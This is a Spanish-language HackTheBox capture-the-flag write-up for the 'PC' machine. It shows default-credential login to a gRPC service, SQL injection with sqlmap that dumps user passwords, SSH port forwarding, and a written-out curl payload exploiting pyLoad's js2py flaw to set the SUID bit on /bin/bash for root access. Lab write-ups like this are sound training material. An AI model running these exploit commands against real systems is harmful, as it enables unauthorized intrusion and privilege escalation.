PC – HackTheBox (Writeup)

pc


Enumeracion: NMAP

Comienzo mi escaneo de reconocimiento habitual para identificar los puertos y servicios corriendo en el sistema remoto.

nmap -p- -Pn -sC -sV 10.129.84.224
Nmap scan report for pc.htb (10.129.84.224)

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:
|   3072 91:bf:44:ed:ea:1e:32:24:30:1f:53:2c:ea:71:e5:ef (RSA)
|   256 84:86:a6:e2:04:ab:df:f7:1d:45:6c:cf:39:58:09:de (ECDSA)
|   256 1a:a8:95:72:51:5e:8e:3c:f1:80:f5:42:fd:0a:28:1c (ED25519)
|
50051/tcp open  unknown
Bash

El resultado arroja que tenemos un puerto 22/tcp perteneciente al conocido SSH. Y un servicio hasta el momento no identificado corriendo en el puerto 50051/tcp.


gRPC: 50051/tcp

Haciendo un poco de research por Google, confirmo finalmente que el puerto 50051 es usado por gRPC:

gRPC es un framework de código abierto desarrollado por Google que se utiliza para la comunicación entre aplicaciones distribuidas. Utiliza el Protocol Buffers (protobuf) como su lenguaje de interfaz para definir servicios y mensajes, lo que lo hace eficiente y versátil. gRPC permite a las aplicaciones comunicarse de manera rápida y confiable a través de diferentes lenguajes de programación y plataformas, lo que lo hace especialmente útil en entornos de microservicios y sistemas distribuidos.

Se basa en el protocolo HTTP/2 para la transferencia de datos y proporciona muchas características avanzadas, como autenticación, balanceo de carga y streaming.


Utilizando grpcui para interactuar con gRPC.

Procedo a la descarga de esta tool la cual va a permitir interactuar con el servicio de gRPC. (https://github.com/fullstorydev/grpcui).

Luego de familiarizarme un poco con la tool, en la consola tipeo lo siguiente apuntando a la ip del servidor y su puerto:


grpcui -plaintext 10.129.84.224:50051
Bash


Instantáneamente al hacer esto se me abre un browser, como localhost en un puerto random con la siguiente interfaz:


En esta página tenemos la posibilidad de Registrarnos, Iniciar sesión o consultar información. Como es costumbre, siempre que me encuentro con un LOGIN intento verificar si es posible acceder con credenciales por default y ordinarias, ya sea por una mal configuracion u olvido de parte del admin.


Logramos acceder como ADMIN y obtenemos un JWT.


Luego de probar distintas cosas y fallar, intento con “getInfo“, cargando el token recibido. Y como el campo del token era “token” agrego este en el request metadata en NAME:


A continuación recibo el siguiente mensaje:


Revisando la validación a través de Burpsuite tiene el siguiente formato:



USER: Explotando campo ‘id’ con SQLMAP.

Al probar varios payloads en “id”: se recibe un error similar al siguiente:


Esto me da indicio a que es vulnerable a inyecciones SQL. Guardo el request de burpsuite en un archivo.


“request.txt”

POST /invoke/SimpleApp.getInfo HTTP/1.1
Host: 127.0.0.1:32809
Content-Length: 193
sec-ch-ua:
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/116.0.5845.141 Safari/537.36
Content-Type: application/json
Accept: */*
X-Requested-With: XMLHttpRequest
x-grpcui-csrf-token: 1XWVIWdzs4mko8Q8eDhBakGMjvXnLt7jNLE_EuZR5dU
sec-ch-ua-platform: ""
Origin: http://127.0.0.1:32809
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:32809/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: _grpcui_csrf_token=1XWVIWdzs4mko8Q8eDhBakGMjvXnLt7jNLE_EuZR5dU
Connection: close

{"metadata":[{"name":"token","value":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLC
JleHAiOjE2OTc2OTQ1OTF9.gRyb-ubEWeh4tYzpt-GrzGirraBwHm8Zyt7cArpA8EY"}],"data":[{"id":"600"}]}
HTTP

Desde SQLMAP ejecuto lo siguiente:

sqlmap -r /home/user/htb/mach/pc/content/request.txt -p id -f --batch -dump-all --level 2
Bash


Y obtengo el siguiente resultado:


El usuario y la contraseña dumpeada:

+------------------------+----------+
| password               | username |
+------------------------+----------+
| admin                  | admin    |
| HereIsYourPassWord1431 | sau      |
+------------------------+----------+
Bash


Ahora conecto via SSH y ya puedo sacar USER.

ssh  [email protected]
sau@pc:~$ ls -l
-rw-r----- 1 root sau 33 Oct 19 01:18 user.txt
Bash


ROOT

Si chequeamos con SS para verificar qué puertos y servicios están corriendo en el sistema nos encontramos con lo siguiente:


Me llama la atención el puerto :8000. Y con curl confirmo que hay algo interesante corriendo ahi.. Para poder acceder a ese puerto local desde nuestra pc atacante realizo un PortForwarding con SSH:

ssh -L 7777:127.0.0.1:8000 [email protected]
Bash


Una vez que podemos acceder desde nuestra pc ingresamos con nuestro browser:

http://127.0.0.1:7777/
Bash



Explotando pyLoad.

Luego de buscar posibles exploits sobre pyLoad encuentro en este link un interesante modo de lograrlo: https://huntr.dev/bounties/3fd606f7-83e1-4265-b083-2e1889a05e65/.

Basicamente un atacante no autenticado puede ejecutar codigo python arbitrario abusando de la funcionalidad de JS2PY.


Exploit:

Sabiendo esto solo deberíamos realizar lo siguiente para que nuestra shell escale como root.

chmod u+s /bin/bash 
Bash

Pero antes deberiamos URLencodearlo quedando del siguiente modo:

chmod%20u%2Bs%20%2Fbin%2Fbash
Bash

Finalmente el Payload quedaria asi:

curl -i -s -k -X $'POST' --data-binary $'jk=pyimport%20os;os.system(\"chmod%20u%2Bs%20%2Fbin%2Fbash\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' $'http://127.0.0.1:8000/flash/addcrypted2'
Bash



PWNED!

Share this :

4 Responses

Leave a Reply

Your email address will not be published. Required fields are marked *

More!..